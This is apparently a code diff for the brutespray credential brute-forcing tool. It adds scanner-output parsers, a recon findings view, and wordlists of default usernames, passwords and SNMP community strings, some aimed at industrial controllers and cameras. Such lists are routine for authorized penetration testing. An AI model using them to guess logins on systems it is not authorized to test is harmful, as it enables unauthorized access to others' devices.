+// each carrying an array of open-port records) and returns one Host per
+// open port. Service is inferred from port via defaultServiceForPort;
+// ports with no mapping are dropped.
+func ParseMasscanJSON(r io.Reader) ([]Host, error) {
+ var rows []masscanHost
+ if err := json.NewDecoder(r).Decode(&rows); err != nil {
+ return nil, fmt.Errorf("decode masscan json: %w", err)
+ }
+ var out []Host
+ for _, row := range rows {
+ for _, p := range row.Ports {
+ if p.Status != "open" {
+ continue
+ }
+ svc := defaultServiceForPort(p.Port)
+ if svc == "" {
+ continue
+ }
+ out = append(out, Host{Service: svc, Host: row.IP, Port: p.Port})
+ }
+ }
+ return out, nil
+}
diff --git a/modules/parse_masscan_test.go b/modules/parse_masscan_test.go
new file mode 100644
index 0000000..4cde6d3
--- /dev/null
+++ b/modules/parse_masscan_test.go
@@ -0,0 +1,78 @@
+package modules
+
+import (
+ "strconv"
+ "strings"
+ "testing"
+)
+
+const masscanSample = `[
+{"ip":"10.0.0.5","ports":[{"port":22,"proto":"tcp","status":"open"}]},
+{"ip":"10.0.0.6","ports":[{"port":3306,"proto":"tcp","status":"open"},{"port":80,"proto":"tcp","status":"closed"}]},
+{"ip":"10.0.0.7","ports":[{"port":3389,"proto":"tcp","status":"open"}]},
+{"ip":"10.0.0.8","ports":[{"port":11111,"proto":"tcp","status":"open"}]}
+]`
+
+func TestParseMasscanJSON(t *testing.T) {
+ hosts, err := ParseMasscanJSON(strings.NewReader(masscanSample))
+ if err != nil {
+ t.Fatalf("ParseMasscanJSON: %v", err)
+ }
+ // Want 3 hosts: closed port filtered AND unmapped port 11111 filtered
+ if len(hosts) != 3 {
+ t.Fatalf("want 3 hosts, got %d (%+v)", len(hosts), hosts)
+ }
+ want := map[string]string{
+ "10.0.0.5:22": "ssh",
+ "10.0.0.6:3306": "mysql",
+ "10.0.0.7:3389": "rdp",
+ }
+ for _, h := range hosts {
+ key := h.Host + ":" + strconv.Itoa(h.Port)
+ got, ok := want[key]
+ if !ok || got != h.Service {
+ t.Fatalf("unexpected host: %+v", h)
+ }
+ }
+}
+
+func TestParseMasscanJSONEmpty(t *testing.T) {
+ hosts, err := ParseMasscanJSON(strings.NewReader("[]"))
+ if err != nil {
+ t.Fatalf("empty array should parse: %v", err)
+ }
+ if len(hosts) != 0 {
+ t.Fatalf("want empty, got %d", len(hosts))
+ }
+}
+
+func TestParseMasscanJSONInvalid(t *testing.T) {
+ _, err := ParseMasscanJSON(strings.NewReader("not json"))
+ if err == nil {
+ t.Fatal("expected parse error for garbage input")
+ }
+}
+
+func TestDefaultServiceForPortKnown(t *testing.T) {
+ cases := map[int]string{
+ 22: "ssh",
+ 3306: "mysql",
+ 3389: "rdp",
+ 5984: "couchdb",
+ 9200: "elasticsearch",
+ 7687: "neo4j",
+ 9042: "cassandra",
+ 8086: "influxdb",
+ }
+ for port, want := range cases {
+ if got := defaultServiceForPort(port); got != want {
+ t.Errorf("port %d: got %q, want %q", port, got, want)
+ }
+ }
+}
+
+func TestDefaultServiceForPortUnknown(t *testing.T) {
+ if got := defaultServiceForPort(12345); got != "" {
+ t.Fatalf("unknown port should return empty, got %q", got)
+ }
+}
diff --git a/modules/parse_stream.go b/modules/parse_stream.go
new file mode 100644
index 0000000..d482413
--- /dev/null
+++ b/modules/parse_stream.go
@@ -0,0 +1,190 @@
+package modules
+
+import (
+ "bufio"
+ "bytes"
+ "encoding/json"
+ "fmt"
+ "io"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+var (
+ nervaURIRE = regexp.MustCompile(`^[a-z][a-z0-9+-]*://[^:/]+:\d+`)
+ hostPortRE = regexp.MustCompile(`^[^\s:]+:\d+$`)
+)
+
+// DetectStreamFormat peeks at the first non-blank line of a stream and
+// returns one of: "naabu", "nerva-uri", "nerva-json", "masscan-json",
+// "fingerprintx-json". The caller must pass a reader that has not yet
+// been consumed (this function does NOT rewind).
+func DetectStreamFormat(r io.Reader) (string, error) {
+ br := bufio.NewReader(r)
+ peek, _ := br.Peek(4096)
+ var line []byte
+ for _, raw := range bytes.Split(peek, []byte("\n")) {
+ t := bytes.TrimSpace(raw)
+ if len(t) > 0 {
+ line = t
+ break
+ }
+ }
+ if len(line) == 0 {
+ return "", fmt.Errorf("empty stream")
+ }
+ s := string(line)
+ switch {
+ case s[0] == '[':
+ return "masscan-json", nil
+ case s[0] == '{':
+ var probe map[string]json.RawMessage
+ if err := json.Unmarshal(line, &probe); err != nil {
+ return "", fmt.Errorf("invalid JSON: %w", err)
+ }
+ _, hasService := probe["service"]
+ _, hasProtocol := probe["protocol"]
+ _, hasPort := probe["port"]
+ switch {
+ case hasService && hasPort:
+ return "fingerprintx-json", nil
+ case hasProtocol && hasPort:
+ return "nerva-json", nil
+ }
+ return "", fmt.Errorf("unrecognized JSON shape")
+ case nervaURIRE.MatchString(s):
+ return "nerva-uri", nil
+ case hostPortRE.MatchString(s):
+ return "naabu", nil
+ }
+ return "", fmt.Errorf("unrecognized line format: %s", s)
+}
+
+// ParseStream reads a full stream, auto-detects the format, and returns
+// the parsed Hosts. Convenience over DetectStreamFormat + format-specific
+// parser when callers want one-shot ingestion.
+func ParseStream(r io.Reader) ([]Host, error) {
+ buf, err := io.ReadAll(r)
+ if err != nil {
+ return nil, fmt.Errorf("read stream: %w", err)
+ }
+ format, err := DetectStreamFormat(bytes.NewReader(buf))
+ if err != nil {
+ return nil, err
+ }
+ switch format {
+ case "naabu":
+ return parseNaabuLines(buf), nil
+ case "nerva-uri":
+ return parseNervaURI(buf), nil
+ case "nerva-json":
+ return parseNervaJSON(buf)
+ case "masscan-json":
+ return ParseMasscanJSON(bytes.NewReader(buf))
+ case "fingerprintx-json":
+ return parseFingerprintXJSON(buf)
+ }
+ return nil, fmt.Errorf("unsupported format: %s", format)
+}
+
+func parseNaabuLines(buf []byte) []Host {
+ var out []Host
+ for _, raw := range bytes.Split(buf, []byte("\n")) {
+ s := strings.TrimSpace(string(raw))
+ if s == "" {
+ continue
+ }
+ host, port, err := splitHostPort(s)
+ if err != nil {
+ continue
+ }
+ svc := defaultServiceForPort(port)
+ if svc == "" {
+ continue
+ }
+ out = append(out, Host{Service: svc, Host: host, Port: port})
+ }
+ return out
+}
+
+func parseNervaURI(buf []byte) []Host {
+ var out []Host
+ for _, raw := range bytes.Split(buf, []byte("\n")) {
+ s := strings.TrimSpace(string(raw))
+ if s == "" {
+ continue
+ }
+ // Strip parenthetical resolution suffix like "ssh://github.com:22 (140.82.121.4)"
+ if idx := strings.Index(s, " "); idx > 0 {
+ s = s[:idx]
+ }
+ schemeEnd := strings.Index(s, "://")
+ if schemeEnd < 0 {
+ continue
+ }
+ scheme := s[:schemeEnd]
+ rest := s[schemeEnd+3:]
+ host, port, err := splitHostPort(rest)
+ if err != nil {
+ continue
+ }
+ out = append(out, Host{Service: scheme, Host: host, Port: port})
+ }
+ return out
+}
+
+type nervaRow struct {
+ IP string `json:"ip"`
+ Port int `json:"port"`
+ Protocol string `json:"protocol"`
+}
+
+func parseNervaJSON(buf []byte) ([]Host, error) {
+ var out []Host
+ dec := json.NewDecoder(bytes.NewReader(buf))
+ for dec.More() {
+ var row nervaRow
+ if err := dec.Decode(&row); err != nil {
+ return nil, fmt.Errorf("decode nerva-json: %w", err)
+ }
+ out = append(out, Host{Service: row.Protocol, Host: row.IP, Port: row.Port})
+ }
+ return out, nil
+}
+
+type fpxRow struct {
+ Host string `json:"host"`
+ IP string `json:"ip"`
+ Port int `json:"port"`
+ Service string `json:"service"`
+}
+
+func parseFingerprintXJSON(buf []byte) ([]Host, error) {
+ var out []Host
+ dec := json.NewDecoder(bytes.NewReader(buf))
+ for dec.More() {
+ var row fpxRow
+ if err := dec.Decode(&row); err != nil {
+ return nil, fmt.Errorf("decode fingerprintx-json: %w", err)
+ }
+ h := row.Host
+ if h == "" {
+ h = row.IP
+ }
+ out = append(out, Host{Service: row.Service, Host: h, Port: row.Port})
+ }
+ return out, nil
+}
+
+func splitHostPort(s string) (string, int, error) {
+ idx := strings.LastIndex(s, ":")
+ if idx < 0 {
+ return "", 0, fmt.Errorf("no port: %s", s)
+ }
+ port, err := strconv.Atoi(s[idx+1:])
+ if err != nil {
+ return "", 0, err
+ }
+ return s[:idx], port, nil
+}
diff --git a/modules/parse_stream_test.go b/modules/parse_stream_test.go
new file mode 100644
index 0000000..7cf7f85
--- /dev/null
+++ b/modules/parse_stream_test.go
@@ -0,0 +1,101 @@
+package modules
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestDetectStreamFormat(t *testing.T) {
+ cases := []struct {
+ name string
+ in string
+ want string
+ }{
+ {"bare-host-port", "10.0.0.5:22\n10.0.0.6:3389\n", "naabu"},
+ {"nerva-uri", "ssh://10.0.0.5:22\nmysql://10.0.0.6:3306\n", "nerva-uri"},
+ {"nerva-json", `{"ip":"10.0.0.5","port":22,"protocol":"ssh"}`, "nerva-json"},
+ {"masscan-json", `[{"ip":"10.0.0.5","ports":[{"port":22,"proto":"tcp","status":"open"}]}]`, "masscan-json"},
+ {"fingerprintx-json", `{"host":"10.0.0.5","ip":"10.0.0.5","port":22,"service":"ssh","transport":"tcp"}`, "fingerprintx-json"},
+ }
+ for _, c := range cases {
+ t.Run(c.name, func(t *testing.T) {
+ got, err := DetectStreamFormat(strings.NewReader(c.in))
+ if err != nil {
+ t.Fatalf("DetectStreamFormat: %v", err)
+ }
+ if got != c.want {
+ t.Fatalf("got %q, want %q", got, c.want)
+ }
+ })
+ }
+}
+
+func TestParseStreamNaabu(t *testing.T) {
+ hosts, err := ParseStream(strings.NewReader("10.0.0.5:22\n10.0.0.6:3389\n"))
+ if err != nil {
+ t.Fatalf("ParseStream: %v", err)
+ }
+ if len(hosts) != 2 {
+ t.Fatalf("want 2, got %d", len(hosts))
+ }
+ if hosts[0].Service != "ssh" || hosts[1].Service != "rdp" {
+ t.Fatalf("port→service mapping failed: %+v", hosts)
+ }
+}
+
+func TestParseStreamNervaURI(t *testing.T) {
+ hosts, err := ParseStream(strings.NewReader("ssh://10.0.0.5:22\nmysql://10.0.0.6:3306 (resolved.example)\n"))
+ if err != nil {
+ t.Fatalf("ParseStream: %v", err)
+ }
+ if len(hosts) != 2 {
+ t.Fatalf("want 2, got %d", len(hosts))
+ }
+ if hosts[0].Service != "ssh" || hosts[1].Service != "mysql" {
+ t.Fatalf("uri parse failed: %+v", hosts)
+ }
+ if hosts[1].Host != "10.0.0.6" || hosts[1].Port != 3306 {
+ t.Fatalf("parenthetical suffix not stripped: %+v", hosts[1])
+ }
+}
+
+func TestParseStreamNervaJSON(t *testing.T) {
+ in := `{"ip":"10.0.0.5","port":22,"protocol":"ssh"}
+{"ip":"10.0.0.6","port":3389,"protocol":"rdp"}`
+ hosts, err := ParseStream(strings.NewReader(in))
+ if err != nil {
+ t.Fatalf("ParseStream: %v", err)
+ }
+ if len(hosts) != 2 {
+ t.Fatalf("want 2, got %d", len(hosts))
+ }
+}
+
+func TestParseStreamFingerprintX(t *testing.T) {
+ in := `{"host":"10.0.0.5","ip":"10.0.0.5","port":22,"service":"ssh","transport":"tcp"}`
+ hosts, err := ParseStream(strings.NewReader(in))
+ if err != nil {
+ t.Fatalf("ParseStream: %v", err)
+ }
+ if len(hosts) != 1 || hosts[0].Service != "ssh" {
+ t.Fatalf("fingerprintx parse failed: %+v", hosts)
+ }
+}
+
+func TestParseStreamMasscan(t *testing.T) {
+ in := `[{"ip":"10.0.0.5","ports":[{"port":22,"proto":"tcp","status":"open"}]}]`
+ hosts, err := ParseStream(strings.NewReader(in))
+ if err != nil {
+ t.Fatalf("ParseStream: %v", err)
+ }
+ if len(hosts) != 1 || hosts[0].Service != "ssh" {
+ t.Fatalf("masscan parse failed: %+v", hosts)
+ }
+}
+
+func TestDetectStreamEmpty(t *testing.T) {
+ _, err := DetectStreamFormat(strings.NewReader(""))
+ if err == nil {
+ t.Fatal("empty stream should error")
+ }
+}
diff --git a/modules/snmp_communities.go b/modules/snmp_communities.go
new file mode 100644
index 0000000..af5df66
--- /dev/null
+++ b/modules/snmp_communities.go
@@ -0,0 +1,52 @@
+package modules
+
+import (
+ "fmt"
+ "strings"
+ "sync"
+
+ "github.com/x90skysn3k/brutespray/v2/wordlist"
+)
+
+var (
+ snmpCacheMu sync.Mutex
+ snmpCache = map[string][]string{}
+)
+
+// SNMPCommunities returns the embedded community-string list for a tier:
+// "default" (~20), "extended" (~50), or "full" (~100+). The returned slice
+// is cached after first load. Unknown tier names fall back to "default".
+func SNMPCommunities(tier string) ([]string, error) {
+ snmpCacheMu.Lock()
+ defer snmpCacheMu.Unlock()
+
+ if cached, ok := snmpCache[tier]; ok {
+ return cached, nil
+ }
+
+ var fname string
+ switch tier {
+ case "extended":
+ fname = "snmp/snmp_extended.txt"
+ case "full":
+ fname = "snmp/snmp_full.txt"
+ default:
+ fname = "snmp/snmp_default.txt"
+ }
+
+ data, err := wordlist.FS.ReadFile(fname)
+ if err != nil {
+ return nil, fmt.Errorf("read %s: %w", fname, err)
+ }
+
+ var out []string
+ for _, line := range strings.Split(string(data), "\n") {
+ s := strings.TrimSpace(line)
+ if s != "" && !strings.HasPrefix(s, "#") {
+ out = append(out, s)
+ }
+ }
+
+ snmpCache[tier] = out
+ return out, nil
+}
diff --git a/tui/messages.go b/tui/messages.go
index 67120bb..ec4af1b 100644
--- a/tui/messages.go
+++ b/tui/messages.go
@@ -1,6 +1,10 @@
package tui
-import "time"
+import (
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/brute"
+)
// AttemptResultMsg is sent by workers after each credential attempt.
type AttemptResultMsg struct {
@@ -16,6 +20,7 @@ type AttemptResultMsg struct {
Retrying bool
Timestamp time.Time
Banner string
+ KeyMatch *brute.KeyMatch // non-nil when the attempt matched a known-bad SSH key
}
// HostStartedMsg is sent when a host begins processing.
@@ -44,3 +49,19 @@ type ErrorMsg struct {
Message string
Timestamp time.Time
}
+
+// FindingEntry holds a single pre-auth recon finding.
+type FindingEntry struct {
+ Severity string
+ Code string
+ Service string
+ Target string
+ Message string
+ CVE string
+ Time time.Time
+}
+
+// FindingMsg is sent when a pre-auth recon finding is produced.
+type FindingMsg struct {
+ Entry FindingEntry
+}
diff --git a/tui/messages_test.go b/tui/messages_test.go
new file mode 100644
index 0000000..c6d162f
--- /dev/null
+++ b/tui/messages_test.go
@@ -0,0 +1,54 @@
+package tui
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/brute"
+)
+
+// TestAttemptResultMsgCarriesKeyMatch verifies that KeyMatch round-trips
+// through AttemptResultMsg so the TUI success view can render [+] BADKEY lines.
+func TestAttemptResultMsgCarriesKeyMatch(t *testing.T) {
+ km := &brute.KeyMatch{
+ Fingerprint: "SHA256:xyzzy",
+ Vendor: "Cisco",
+ CVE: "CVE-2015-1338",
+ Description: "Cisco default key",
+ }
+
+ msg := AttemptResultMsg{
+ Host: "192.0.2.1",
+ Port: 22,
+ Service: "ssh",
+ User: "admin",
+ Password: "cisco",
+ Success: true,
+ Connected: true,
+ Duration: 100 * time.Millisecond,
+ Timestamp: time.Now(),
+ KeyMatch: km,
+ }
+
+ if msg.KeyMatch == nil {
+ t.Fatal("KeyMatch is nil, expected non-nil")
+ }
+ if msg.KeyMatch.CVE != "CVE-2015-1338" {
+ t.Fatalf("KeyMatch.CVE = %q, want CVE-2015-1338", msg.KeyMatch.CVE)
+ }
+ if msg.KeyMatch.Vendor != "Cisco" {
+ t.Fatalf("KeyMatch.Vendor = %q, want Cisco", msg.KeyMatch.Vendor)
+ }
+ if msg.KeyMatch.Fingerprint != "SHA256:xyzzy" {
+ t.Fatalf("KeyMatch.Fingerprint = %q, want SHA256:xyzzy", msg.KeyMatch.Fingerprint)
+ }
+}
+
+// TestAttemptResultMsgKeyMatchNilByDefault confirms that a zero-value
+// AttemptResultMsg has a nil KeyMatch (normal credential attempts).
+func TestAttemptResultMsgKeyMatchNilByDefault(t *testing.T) {
+ var msg AttemptResultMsg
+ if msg.KeyMatch != nil {
+ t.Fatal("KeyMatch should be nil for a zero-value AttemptResultMsg")
+ }
+}
diff --git a/tui/model.go b/tui/model.go
index 976d25e..f57c9bd 100644
--- a/tui/model.go
+++ b/tui/model.go
@@ -89,6 +89,8 @@ type Model struct {
version string
splashActive bool
+
+ findings []FindingEntry
}
// NewModel creates a new TUI model. resumedProgress is the number of attempts
@@ -202,6 +204,10 @@ func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.completedView.AddCompleted(msg)
return m, nil
+ case FindingMsg:
+ m.findings = append(m.findings, msg.Entry)
+ return m, nil
+
case doneMsg:
m.done = true
m.setStatus("All hosts completed. Press Ctrl+C to exit.")
@@ -389,6 +395,7 @@ func (m Model) View() string {
TabCompleted: m.completedView.Count(),
TabSuccess: m.successView.Count(),
TabErrors: m.errorsView.Count(),
+ TabFindings: len(m.findings),
}
tabBar := RenderTabBar(m.activeTab, m.width, &m.scheme, badges, m.tabBarFocused, m.version)
@@ -407,6 +414,8 @@ func (m Model) View() string {
content = m.successView.View(&m.scheme)
case TabErrors:
content = m.errorsView.View(&m.scheme)
+ case TabFindings:
+ content = m.viewFindings()
case TabSettings:
content = m.settingsView.View(&m.scheme)
}
diff --git a/tui/tabs.go b/tui/tabs.go
index 8f3e29c..7bd7590 100644
--- a/tui/tabs.go
+++ b/tui/tabs.go
@@ -17,11 +17,12 @@ const (
TabCompleted
TabSuccess
TabErrors
+ TabFindings
TabSettings
tabCount // sentinel for total count
)
-var tabNames = []string{"All", "By Host", "By Service", "Completed", "Successes", "Errors", "Settings"}
+var tabNames = []string{"All", "By Host", "By Service", "Completed", "Successes", "Errors", "Findings", "Settings"}
// brandText is the compact brand name shown in the top-right of the tab bar.
const brandText = "BRUTESPRAY"
diff --git a/tui/view_findings.go b/tui/view_findings.go
new file mode 100644
index 0000000..e1b3f99
--- /dev/null
+++ b/tui/view_findings.go
@@ -0,0 +1,40 @@
+package tui
+
+import (
+ "fmt"
+ "strings"
+
+ "github.com/charmbracelet/lipgloss"
+)
+
+func (m Model) viewFindings() string {
+ if len(m.findings) == 0 {
+ return lipgloss.NewStyle().
+ Foreground(lipgloss.Color("#888888")).
+ Render("No findings yet. Pre-auth recon results (SSH bad-keys, RDP NLA, sticky-keys) appear here.")
+ }
+ var b strings.Builder
+ for _, f := range m.findings {
+ sev := f.Severity
+ // Color by severity to match WriteFinding's scheme:
+ // CRITICAL → red, HIGH → bright red, WARN → yellow, INFO → cyan
+ var sevColor lipgloss.Color
+ switch sev {
+ case "CRITICAL":
+ sevColor = "#ff5555"
+ case "HIGH":
+ sevColor = "#ff8888"
+ case "WARN":
+ sevColor = "#ffaa00"
+ default:
+ sevColor = "#00ffff"
+ }
+ sevStyled := lipgloss.NewStyle().Bold(true).Foreground(sevColor).Render("[" + sev + "]")
+ cve := ""
+ if f.CVE != "" {
+ cve = " (" + f.CVE + ")"
+ }
+ b.WriteString(fmt.Sprintf("%s %s %s %s%s\n", sevStyled, f.Service, f.Target, f.Message, cve))
+ }
+ return b.String()
+}
diff --git a/tui/view_findings_test.go b/tui/view_findings_test.go
new file mode 100644
index 0000000..c80fb74
--- /dev/null
+++ b/tui/view_findings_test.go
@@ -0,0 +1,54 @@
+package tui
+
+import (
+ "strings"
+ "testing"
+ "time"
+)
+
+func TestViewFindingsEmptyState(t *testing.T) {
+ m := Model{}
+ out := m.viewFindings()
+ if !strings.Contains(out, "No findings") {
+ t.Fatalf("expected empty-state placeholder, got: %s", out)
+ }
+}
+
+func TestViewFindingsRendersEntries(t *testing.T) {
+ m := Model{
+ findings: []FindingEntry{
+ {Severity: "WARN", Service: "rdp", Target: "10.0.0.5:3389", Message: "NLA not enforced", Time: time.Now()},
+ {Severity: "CRITICAL", Service: "rdp", Target: "10.0.0.5:3389", Message: "sticky-keys backdoor", CVE: "", Time: time.Now()},
+ },
+ }
+ out := m.viewFindings()
+ for _, want := range []string{"WARN", "rdp", "10.0.0.5:3389", "NLA not enforced", "CRITICAL", "sticky-keys backdoor"} {
+ if !strings.Contains(out, want) {
+ t.Fatalf("output missing %q: %s", want, out)
+ }
+ }
+}
+
+func TestViewFindingsRendersCVE(t *testing.T) {
+ m := Model{
+ findings: []FindingEntry{
+ {Severity: "INFO", Service: "ssh", Target: "10.0.0.5:22", Message: "F5 bad key", CVE: "CVE-2012-1493", Time: time.Now()},
+ },
+ }
+ out := m.viewFindings()
+ if !strings.Contains(out, "CVE-2012-1493") {
+ t.Fatalf("output missing CVE: %s", out)
+ }
+}
+
+func TestAddFindingThroughUpdate(t *testing.T) {
+ m := Model{}
+ updated, _ := m.Update(FindingMsg{Entry: FindingEntry{Severity: "INFO", Service: "ssh", Target: "10.0.0.5:22", Message: "test"}})
+ final := updated.(Model)
+ if len(final.findings) != 1 {
+ t.Fatalf("findings len = %d, want 1", len(final.findings))
+ }
+ if final.findings[0].Severity != "INFO" {
+ t.Fatalf("severity = %q", final.findings[0].Severity)
+ }
+}
diff --git a/wordlist/cassandra/password b/wordlist/cassandra/password
new file mode 100644
index 0000000..8109bc5
--- /dev/null
+++ b/wordlist/cassandra/password
@@ -0,0 +1,3 @@
+cassandra
+admin
+changeme
diff --git a/wordlist/cassandra/user b/wordlist/cassandra/user
new file mode 100644
index 0000000..ffaee67
--- /dev/null
+++ b/wordlist/cassandra/user
@@ -0,0 +1,3 @@
+cassandra
+admin
+user
diff --git a/wordlist/couchdb/password b/wordlist/couchdb/password
new file mode 100644
index 0000000..b6c989b
--- /dev/null
+++ b/wordlist/couchdb/password
@@ -0,0 +1,3 @@
+admin
+couchdb
+password
diff --git a/wordlist/couchdb/user b/wordlist/couchdb/user
new file mode 100644
index 0000000..cd095ad
--- /dev/null
+++ b/wordlist/couchdb/user
@@ -0,0 +1,3 @@
+admin
+couchdb
+user
diff --git a/wordlist/elasticsearch/password b/wordlist/elasticsearch/password
new file mode 100644
index 0000000..d6eb8bb
--- /dev/null
+++ b/wordlist/elasticsearch/password
@@ -0,0 +1,3 @@
+elastic
+changeme
+admin
diff --git a/wordlist/elasticsearch/user b/wordlist/elasticsearch/user
new file mode 100644
index 0000000..078066b
--- /dev/null
+++ b/wordlist/elasticsearch/user
@@ -0,0 +1,4 @@
+elastic
+admin
+kibana
+logstash
diff --git a/wordlist/embed.go b/wordlist/embed.go
index 3b441fb..adb0c57 100644
--- a/wordlist/embed.go
+++ b/wordlist/embed.go
@@ -2,5 +2,5 @@ package wordlist
import "embed"
-//go:embed manifest.yaml all:_base all:_layers all:overrides snmp
+//go:embed manifest.yaml all:_base all:_layers all:overrides snmp couchdb elasticsearch influxdb
var FS embed.FS
diff --git a/wordlist/influxdb/password b/wordlist/influxdb/password
new file mode 100644
index 0000000..8e43715
--- /dev/null
+++ b/wordlist/influxdb/password
@@ -0,0 +1,8 @@
+admin
+influxdb
+password
+123456
+secret
+password123
+root
+guest
diff --git a/wordlist/influxdb/user b/wordlist/influxdb/user
new file mode 100644
index 0000000..c654b1a
--- /dev/null
+++ b/wordlist/influxdb/user
@@ -0,0 +1,5 @@
+admin
+influxdb
+root
+guest
+user
diff --git a/wordlist/manifest.yaml b/wordlist/manifest.yaml
index d71476f..224658e 100644
--- a/wordlist/manifest.yaml
+++ b/wordlist/manifest.yaml
@@ -105,3 +105,12 @@ services:
wrapper:
users: [sysadmin_users]
passwords: [common_passwords]
+ couchdb:
+ users: ["couchdb/user"]
+ passwords: ["couchdb/password"]
+ elasticsearch:
+ users: ["elasticsearch/user"]
+ passwords: ["elasticsearch/password"]
+ influxdb:
+ users: ["influxdb/user"]
+ passwords: ["influxdb/password"]
diff --git a/wordlist/snmp/snmp_default.txt b/wordlist/snmp/snmp_default.txt
new file mode 100644
index 0000000..434b6e0
--- /dev/null
+++ b/wordlist/snmp/snmp_default.txt
@@ -0,0 +1,20 @@
+public
+private
+manager
+admin
+cisco
+default
+read
+write
+community
+secret
+test
+rw
+ro
+guest
+snmpd
+snmp
+internal
+external
+local
+network
diff --git a/wordlist/snmp/snmp_extended.txt b/wordlist/snmp/snmp_extended.txt
new file mode 100644
index 0000000..017cab4
--- /dev/null
+++ b/wordlist/snmp/snmp_extended.txt
@@ -0,0 +1,55 @@
+public
+private
+manager
+admin
+cisco
+default
+read
+write
+community
+secret
+test
+rw
+ro
+guest
+snmpd
+snmp
+internal
+external
+local
+network
+proxy
+tivoli
+ILMI
+all private
+1234
+admin@123
+agent_steal
+cable-d
+cisco_router
+hp_admin
+juniper
+juniper_admin
+juniper_ro
+juniper_rw
+NoGaH$@!
+OrigEquipMfr
+private@123
+proxy@123
+read-only
+read-write
+readonly
+readwrite
+regional
+router
+SECURITY
+SNMPV2
+snmpwrite
+snmp_trap
+SuN_MaNaGeR
+SwitcHeS
+SyStEm
+test2
+trap
+work
+xerox
diff --git a/wordlist/snmp/snmp_full.txt b/wordlist/snmp/snmp_full.txt
new file mode 100644
index 0000000..b23aa54
--- /dev/null
+++ b/wordlist/snmp/snmp_full.txt
@@ -0,0 +1,96 @@
+public
+private
+manager
+admin
+cisco
+default
+read
+write
+community
+secret
+test
+rw
+ro
+guest
+snmpd
+snmp
+internal
+external
+local
+network
+proxy
+tivoli
+ILMI
+all private
+1234
+admin@123
+agent_steal
+cable-d
+cisco_router
+hp_admin
+juniper
+juniper_admin
+juniper_ro
+juniper_rw
+NoGaH$@!
+OrigEquipMfr
+private@123
+proxy@123
+read-only
+read-write
+readonly
+readwrite
+regional
+router
+SECURITY
+SNMPV2
+snmpwrite
+snmp_trap
+SuN_MaNaGeR
+SwitcHeS
+SyStEm
+test2
+trap
+work
+xerox
+SCADA
+SCADA_RW
+SCADA_RO
+schneider
+plc_admin
+plc_user
+modbus_admin
+plc_default
+PUBLIC
+SECRETID
+device
+device_admin
+iLO
+iLOAdmin
+PRTG
+prtg
+solarwinds
+intermapper
+ENTPASS
+ENTERPRISE
+NETMAN
+NET_OPS
+TEAM
+camera
+hikvision
+dahua
+axis
+arecont
+foscam
+trendnet
+sony_camera
+sony
+amcrest
+emc
+isilon
+oncue
+sanstation
+netapp
+synology
+qnap
+buffalo